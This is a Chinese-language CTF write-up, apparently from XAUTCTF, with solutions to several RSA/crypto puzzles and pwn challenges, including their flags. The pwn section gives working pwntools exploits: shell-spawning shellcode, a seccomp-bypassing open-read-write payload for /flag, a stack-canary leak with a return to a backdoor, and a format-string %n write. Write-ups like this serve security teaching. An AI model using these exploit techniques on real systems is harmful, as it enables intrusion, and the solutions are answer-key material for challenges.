a = bytes_to_long(real_flag)
b = get_random_number()
c = get_random_number()
d = get_random_number()

n1 = a*b
n2 = b*c
n3 = c*d

print(f"n1 = {n1}")
print(f"n2 = {n2}")
print(f"n3 = {n3}")
print(f"d = {d}")


"""
n1 = 66045023993762767647242315275308876286649365291217503549902618148001055600837022713282069278294139902007828665299975891709141384342029428818368233779456718169837800519061495614455266698646033095374249294950476237868464929160829338247617019650720386071747841563053142875198078814651522327972628160281265970330976279743604849662791159837738526278277804680018800310344237561891670714267422167030239697292228352005490559316629402219654671826647258405005330060768620619801431339140844543743546141947826432699292853951849820803407732079211059907138637996805917396616886186331056392904534431539573143000039333074217827378203023213727182933822404231273878515223694690030696828022257662583963453718083703096060400947526828103727712197985948128656176265398780528680051014074367363757135311498467947501765974696818796857305793400931866930599659487334282645052632999648160834373981904533240911850451900220747740086671961000393504835019410391886465691868164395211894606769208890677518534623136224769033814232296694099251235641838645747668791623742241443998344435370538812516231728525148001841752921696848750
n2 = 1320555599487714080996044771745109086409124950193806115910044002171639132721369936242832350793080200151731581915533389367530841711349085311654859210708745168348139761175994308379008233352944795195337029075338491705223417989574046182393904858738777565509853429460260485779945219957452432288882759456841973743350958897759005840184935356935516353677399298947271240304110942678580581733243590953541428260608718550254028964807862266521437217496044696887150481438415810735591397935910573863686620039825142973597345028031192292214474693621914446259072409767541707238135552166962594482265307944904262622356821924062115483845191792169134692726081339767300737406933509657057434734295214281830711402527265191878673192096981687978442654546866046508586476256515448447811724411143277304139097556106638517758052946777603373414718743201041457262387388159970341161602413204816234240553296477562124049501381372017556520920586470701549545089935276803924008842264302810625461265377705801836445624439120595410039147084242300905693410555017365335530737466743139039924035032068579167676172084945497968079618527330264059524279485179524483046111493426596846285692408550381435997945232073832763443550596008177794944202693534077109186288822812097105682483066250943025890835561307754202362984369467279547412073663826807534256586945293235617054258815517181939040026079969202048794243981043255339273692894150669176924938335078841860602598371066015697457441400163743192636313066256712591757257494154994280331839805559187408397250773686866802818270549433199589628543682696970616778551521253364165555410491946329838745400060156090812855739048860203804808159394507270828085983711687051132928366501718966622880415453783762907053842805719073490304849577857363840727974548747309667095286171395631455414832082074931682010365020038631272891592002564580710824126596067472012197426483126969375110424700166659703938297489007306732474884651764478730965436145663198752419446509365022660147218357448783598847793577903599742398436141520668329522500
n3 = 2494102727139988031657548916400076008469745351322274139719108651479694185398883900731956896064609625535589283127438178479899342631002290223761281335086590271453325110263075086863802248422343374265520039092287051974670420810260395594587214259380987308495187276102405110037698364568798469022294178145782146014876496768949227234629547115761072490459208650215233576124537759149621005091452731826139522830627358953262413872737766190736148691591455392273493333744660685456016812260177567784789706568505579320655796589399021812071850427201359345113086254185842792188109694821873608861967542521034391955635188766346448358522095384182181919121572454416214847465348256361362566514678435298592845553522433282587659801172426416706609642034717339642211417654280894950890159462635828804440976899777025050168473102365715107684396600436067391006056594244266779919508243001527693875044625987231235831989933929204915500642424704317103808385950745874843327090287006673742178580193389137707512337808409919117485720406798799553125641011372640451089845896663282887165936957056289873133466762895411684476032902068990006887183350425663108368180802497459392657668788890982438237757541704285743361668534480198281931514155933889777470075218534626274198762865005970764338886601702657222928202827690787497964864232677329294105797820334409760600739305323843208626608999128155104856870670912614117531695398766898333476774303080010211697227780036928625795136409579400929053570378365274515982948413125504474009300341414250851316021652921246258261191470292461195698250713229612394303041313776569564799724769801197317501679865347012122228211555527056879353720812275916353888916615582761695952757154221134412075102823205932950308884150988373023805958090095880726162291314683535968376355629578629232070688294172962311300021342332871193989690221140421570486753526911612358742179375594473893822922907246112505646925845519726644426849366087858581334667012569682331014586041121918212242373332106875529757752615031856738830163693909495716952252
d = 43364937265758956156273680911300489616898864746752052291350312162776515277587261760117478030997894848711863062332928599355367770340515527595727956406975492260815315498533833768722189153710484592913738532365673774052006949783671389279815139617850311090514642725422993266833831943072802672492932699094012215360254640960227975759052847451203242806549366072770629235099284854845437409705329699239996521945098027994835464446725904453652773044842784544412256242118283430388576377678521305677820630677657440308643210013580457568689468797843750521813033835004488235590736872749731499959534712906125337371416903474439687119856674163258250861941374676530169084879695020684481481410037773090335748058105789070805869999041901955824447836101464317191236662824486520610443251865074390805817717017127665798074743330797207555861776404708326789709130589836098908059835861036678714787524364757466440053920339450890171852169379258482211489419367529048929245318441840741348189118893773590728665799522362650234927535765626
"""

a*b=n1 b*c=n2 c*d=n3,已知n1 n2 n3 d,求a这不显而易见,但是数字比较大,手算不现实,用脚本来帮忙:

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
n1 = 66045023993762767647242315275308876286649365291217503549902618148001055600837022713282069278294139902007828665299975891709141384342029428818368233779456718169837800519061495614455266698646033095374249294950476237868464929160829338247617019650720386071747841563053142875198078814651522327972628160281265970330976279743604849662791159837738526278277804680018800310344237561891670714267422167030239697292228352005490559316629402219654671826647258405005330060768620619801431339140844543743546141947826432699292853951849820803407732079211059907138637996805917396616886186331056392904534431539573143000039333074217827378203023213727182933822404231273878515223694690030696828022257662583963453718083703096060400947526828103727712197985948128656176265398780528680051014074367363757135311498467947501765974696818796857305793400931866930599659487334282645052632999648160834373981904533240911850451900220747740086671961000393504835019410391886465691868164395211894606769208890677518534623136224769033814232296694099251235641838645747668791623742241443998344435370538812516231728525148001841752921696848750
n2 = 1320555599487714080996044771745109086409124950193806115910044002171639132721369936242832350793080200151731581915533389367530841711349085311654859210708745168348139761175994308379008233352944795195337029075338491705223417989574046182393904858738777565509853429460260485779945219957452432288882759456841973743350958897759005840184935356935516353677399298947271240304110942678580581733243590953541428260608718550254028964807862266521437217496044696887150481438415810735591397935910573863686620039825142973597345028031192292214474693621914446259072409767541707238135552166962594482265307944904262622356821924062115483845191792169134692726081339767300737406933509657057434734295214281830711402527265191878673192096981687978442654546866046508586476256515448447811724411143277304139097556106638517758052946777603373414718743201041457262387388159970341161602413204816234240553296477562124049501381372017556520920586470701549545089935276803924008842264302810625461265377705801836445624439120595410039147084242300905693410555017365335530737466743139039924035032068579167676172084945497968079618527330264059524279485179524483046111493426596846285692408550381435997945232073832763443550596008177794944202693534077109186288822812097105682483066250943025890835561307754202362984369467279547412073663826807534256586945293235617054258815517181939040026079969202048794243981043255339273692894150669176924938335078841860602598371066015697457441400163743192636313066256712591757257494154994280331839805559187408397250773686866802818270549433199589628543682696970616778551521253364165555410491946329838745400060156090812855739048860203804808159394507270828085983711687051132928366501718966622880415453783762907053842805719073490304849577857363840727974548747309667095286171395631455414832082074931682010365020038631272891592002564580710824126596067472012197426483126969375110424700166659703938297489007306732474884651764478730965436145663198752419446509365022660147218357448783598847793577903599742398436141520668329522500
n3 = 2494102727139988031657548916400076008469745351322274139719108651479694185398883900731956896064609625535589283127438178479899342631002290223761281335086590271453325110263075086863802248422343374265520039092287051974670420810260395594587214259380987308495187276102405110037698364568798469022294178145782146014876496768949227234629547115761072490459208650215233576124537759149621005091452731826139522830627358953262413872737766190736148691591455392273493333744660685456016812260177567784789706568505579320655796589399021812071850427201359345113086254185842792188109694821873608861967542521034391955635188766346448358522095384182181919121572454416214847465348256361362566514678435298592845553522433282587659801172426416706609642034717339642211417654280894950890159462635828804440976899777025050168473102365715107684396600436067391006056594244266779919508243001527693875044625987231235831989933929204915500642424704317103808385950745874843327090287006673742178580193389137707512337808409919117485720406798799553125641011372640451089845896663282887165936957056289873133466762895411684476032902068990006887183350425663108368180802497459392657668788890982438237757541704285743361668534480198281931514155933889777470075218534626274198762865005970764338886601702657222928202827690787497964864232677329294105797820334409760600739305323843208626608999128155104856870670912614117531695398766898333476774303080010211697227780036928625795136409579400929053570378365274515982948413125504474009300341414250851316021652921246258261191470292461195698250713229612394303041313776569564799724769801197317501679865347012122228211555527056879353720812275916353888916615582761695952757154221134412075102823205932950308884150988373023805958090095880726162291314683535968376355629578629232070688294172962311300021342332871193989690221140421570486753526911612358742179375594473893822922907246112505646925845519726644426849366087858581334667012569682331014586041121918212242373332106875529757752615031856738830163693909495716952252
d = 43364937265758956156273680911300489616898864746752052291350312162776515277587261760117478030997894848711863062332928599355367770340515527595727956406975492260815315498533833768722189153710484592913738532365673774052006949783671389279815139617850311090514642725422993266833831943072802672492932699094012215360254640960227975759052847451203242806549366072770629235099284854845437409705329699239996521945098027994835464446725904453652773044842784544412256242118283430388576377678521305677820630677657440308643210013580457568689468797843750521813033835004488235590736872749731499959534712906125337371416903474439687119856674163258250861941374676530169084879695020684481481410037773090335748058105789070805869999041901955824447836101464317191236662824486520610443251865074390805817717017127665798074743330797207555861776404708326789709130589836098908059835861036678714787524364757466440053920339450890171852169379258482211489419367529048929245318441840741348189118893773590728665799522362650234927535765626

c = n3//d
b = n2//c
a = n1//b

flag = long_to_bytes(a)
print(flag)
# b'XAUTCTF{S0Lv1N6_The_3QUA71ON_iS_51M91E}'

ezRSA

题目描述

出题人: BR

难度: 普通

​ 这伞兵BR又出了什么抽象题?忍不了了!和BR爆了!!!

题解

​ dp泄露类的基础题目。

​ 首先是要明白什么是dp和,这是在运算过程中方便计算的中间量,表示:

1
dp = d % (p-1)

​ 推导一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
d = dp + k1 * (p-1) 

d * e = 1 + k2*(p-1)*(q-1)

把第二个式子的d代换掉:

e * (dp + k1*(p-1)) = 1 + k2*(p-1)*(q-1)

两边同时对(p-1)取模,消去k

e * dp % (p - 1) = 1

e * dp = 1 + k*(p - 1)

​ 爆破出k即可解出p,进而求得d解出密文即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import gmpy2
from Crypto.Util.number import long_to_bytes

e = 65537
n = 3389616964927878781741310853191315956480258834417170086470849866192420692727199749045136855692986896313375718348538743048229582847210725029529834835813548058842302356162248532297392544538964480146052358895655793603326803812641085190199005669949039050588118723067377836651472284416724310288678830491750972225267426343652592291309600098944351229749957513453626264488620799659160485560680576771242990157
dp = 40008312476670176077019320150135078093576233427810327258745387563367163532724088700444338891183628836306769722954657737101506755763414537137056652811295235312680178563283946769876556761670653862586533

c = 2751792742238347444334835452460084186799453035059927577003325906095628381320715250538921636436471076761144030529733555087963190221733614651048234326074859224867616661307460181029967874116500680469659145855412390067191720522352047027739051923014235594836182714244943467983706041145043107229428460704833233559688483136497104737765912820183578092203043788325533521188107197615771966434225751684425810745

def get_p():
for i in range(1, e):
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) // i) + 1) == 0:
p = ((dp * e - 1) // i) + 1
return p
print("Can't find p")
exit(0)

p = get_p()
q = n // p
d = gmpy2.invert(e, (p-1)*(q-1))
m = pow(c, d, n)

print(long_to_bytes(m))
# b'XAUTCTF{dddd_orz}'

share

题目描述

出题人: BR

难度: 简单

​ 知识,与你分享~

题解

​ 一个基础的共享素数问题,及n1和n2存在相同的最大公因数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
import gmpy2

e = 65537

n1 = 15764889078520406701920836076060812292817953878765698736610314105828038106918188325080028536800338743533151467484230135911236243767134017276420560437765376692135662447069380717598088660825346837519135978716843594670867453570497314231997639209717919846384056209717841647511968810256832430682665776455975564920037522574969505503702536743211910833165065354666491070563101523475301655000946701431051680282687957615728002912182866022767994710798674094360877891595192138142726638005032412417208752775359412601523985035504001027817184158460091763674738627316845594712786784336672986113088953737331977561926180599434375606337

n2 = 19346401036563062062139543454549159705150114945241959879264773536571493620746783894677354391494522612877954114596842328432567726870205793311446829481421054930528731243333924687330931334566587856351933162850289535656464501364825930099046508911502369924917738675549416254350054528538339023126120936625464095107410157330756142083943106988057844625878857268968116935799339247484995302248522123848728632514279239675212391882461506079303159963938932119655481982477502610782757032918179210204391315194619579572325309000201631689800685605563008272939575196553459979913527058343508211662619307545414393526050493117288154807227

c = 6931222651249262472228777622009307640074062714582918308674048962518853088713850622358745320182197198806415404906439687086316725830853516042648518050737676652428054945571454743246937039491660263781649524472122622436974786785630443829663969347469259303145707487294782618546985742515535431215616608742646807804814352236438108845259526935218859281002325047889680753746312809678001458900694326148953040827039566332895725666736854393609165460145691908719891068171737548037635274545563910655712187384524733461057680848976638932473103665037071161751853170823700743282965912068476502610800421086525024541138149006382481477358

# 找出最大公因数
q = gmpy2.gcd(n1, n2)

# 求出q1,q2
p1 = n1 // q
p2 = n2 // q

# 求出d1,d2
d1 = inverse(e, (q - 1) * (p1 - 1))
d2 = inverse(e, (q - 1) * (p2 - 1))

# 两次加密对应两次解密
m = pow(c, d2, n2)
m = pow(m, d1, n1)

print(long_to_bytes(m))
# b'XAUTCTF{Knouu7ED6e_t0_5H4Re_vv1TH_yov}'

LWE

题目描述

出题人: ckyan

难度: 普通

​ 出完发现这个rand值影响很小,呜呜呜要被非预期了~

题解

​ 附件给到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import socket
import signal
from Crypto.Util.number import getPrime, bytes_to_long
from random import randint, choices
from string import ascii_uppercase, digits

def handle_client(client_socket):
with open('flag.txt', 'rb') as f:
flag = f.read()

signal.alarm(300)

q = getPrime(160)
while True:
key = "ctf_" + "".join(choices(ascii_uppercase + digits, k=15))
x = bytes_to_long("".join(sorted(key)).encode())
if x < q:
break
l = 2
T = []
U = []
for i in range(90):
t = randint(1, q)
u = x * t - randint(1, q >> l)
T.append(t)
U.append(u)

client_socket.sendall(f"q = {q}\n".encode())
client_socket.sendall(f"T = {T}\n".encode())
client_socket.sendall(f"U = {U}\n".encode())

client_socket.sendall(b"Enter x = ")

guess = int(client_socket.recv(1024).strip())
if guess == x:
client_socket.sendall(flag)
else:
client_socket.sendall(b"Incorrect, try again.\n")

client_socket.close()

def start_server(host='0.0.0.0', port=9999):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(5)

print(f"Server started on {host}:{port}")

while True:
client_socket, addr = server_socket.accept()
print(f"Accepted connection from {addr}")
try:
handle_client(client_socket)
except Exception as e:
print(f"Error handling client: {e}")
continue

if __name__ == "__main__":
while True:
try:
start_server()
except KeyboardInterrupt:
print("\nServer shutting down...")
continue

​ 主要关注handle_client()函数部分,首先是取了一个160位的质数,接着进行90次循环,每次循环随机生成一个t,并与x进行运算,题目告诉了我们p,t和u,需要我们求到x。

​ 对于此题,简单的解法是:

x * t的数量级是远远大于randint(1, q >> l),对于u来说,randint(1, q >> l)的影响可以忽略,可以近似认为u = x * t,因此x近似等于u//t+1,本题需要使用nc命令连接,以下给出使用了pwntools的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import json
from collections import Counter

# context.log_level = 'debug'

conn = remote("47.121.201.96",60480)

q = str(conn.recvline())[6:-3]

T = json.loads(str(conn.recvline())[6:-3])

U = json.loads(str(conn.recvline())[6:-3])

# print(f"q = {q}")
# print(f"U = {U}")
# print(f"T = {T}")

X = []

for i in range(90):
X.append(U[i]//T[i]+1)

x = Counter(X).most_common(1)[0][0]
print(f"x = {x}")

conn.recvuntil(b'Enter x =')

conn.sendline(str(x))

res = str(conn.recvline())[2:-3]
print(res)

image-20250121221841767

​ 复杂一点的解法可以参照以下思路:

1d63d87f0f80eb043047f07c02af6e8a

0fd9aaf12ee9c0f29a85dcbd3293f37f

Pwn

Baby Canary

题目描述

出题人: D3f4ult

难度: 普通

​ 栈溢出?你还溢不溢了?😡

题解

​ 查看保护:

截图

​ 反编译发现是两次printf输出,且有栈溢出:

截图

​ 有canary保护,但canary最低位固定为\x00截断字符输出,且该位不进行检查,溢出一字节,使得printf打印时将canary也打印出来,即可获取canary,第二次溢出时使用canary过检查进后门函数即可,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#! /usr/bin/env python

from pwn import *

elf = ELF("./pwn")

context.binary = elf


io = process('./pwn')

def debug():
gdb.attach(io)
pause()

backdoor = 0x4007EE
ret = 0x400825

pay1 = b'a'*24
pay2 = b'a'*24
#debug()
io.sendlineafter("What's your name?",pay1)
io.recv()
canary = io.recv()[32:39].rjust(8,b'\x00')
canary = u64(canary)

pay2+=p64(canary)
pay2+=b'a'*8+p64(ret)+p64(backdoor)

io.sendline(pay2)

io.interactive()

ez_shellcode

题目描述

出题人: keup

难度: 简单

​ ez?ez!

题解

​ 试运行题目,很直接,让输入shellcode,shellcode即用来达到目的的一段可执行机器码,或者说一段汇编语句,

截图

​ 反编译发现shellcode长度限制为256,非常充足,使用pwntools生成一段即可

​ 脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python

from pwn import *

context(log_level='debug',os='linux',arch='amd64')

io = process("./ez_shellcode")

#io = remote("118.89.134.213",32777)

pay = asm(shellcraft.amd64.sh())

io.sendline(pay)

io.interactive()

mid_shellcode

题目描述

出题人: keup

难度: 普通

​ mid?mid!

题解

​ 与上题相比较,发现题目大致相同,但使用同样的shellcode执行却不成功,猜测有上沙箱的可能,使用seccomp-tools dump出沙箱规则,发现禁止执行execve系统调用,且checksec发现题目未开启PIE,遂使用orw的shellcode获取flag,将flag读入bss段并读出打印,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#! /usr/bin/env python

from pwn import *


context.log_level = 'debug'
context.arch = 'amd64'

io = process('./mid_shellcode')
#io = remote("118.89.134.213",32783)


def debug():
gdb.attach(io)
pause()


pay = asm(shellcraft.openat(0,"/flag"))
pay+= asm(shellcraft.pread(3,0x404a00,0x30))
pay+= asm(shellcraft.write(1,0x404a00,0x30))

#debug()
io.sendline(pay)
io.interactive()

format_string

题目描述

出题人: keup

难度: 简单

​ ”格格格格格格格格格格格格格格“———发出一种奇怪的笑声

题解

​ 试运行发现是格式化字符串的题目,

截图

​ 拖入ida反编译,发现仅需v4[0]不等于0即

​ 可取得shell,遂想到格式化字符串漏洞中可使用%n来赋值给某块内存区域,具体赋值的位置,可使用数字+$的形式放在占位符中间指定。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#! /usr/bin/env python



from pwn import *

context(log_level='debug',os='linux',arch='amd64')

io = process("./format_string")
#io = remote("118.89.134.213",32781)

pay = "aa%7$n"

io.sendline(pay)

io.interactive()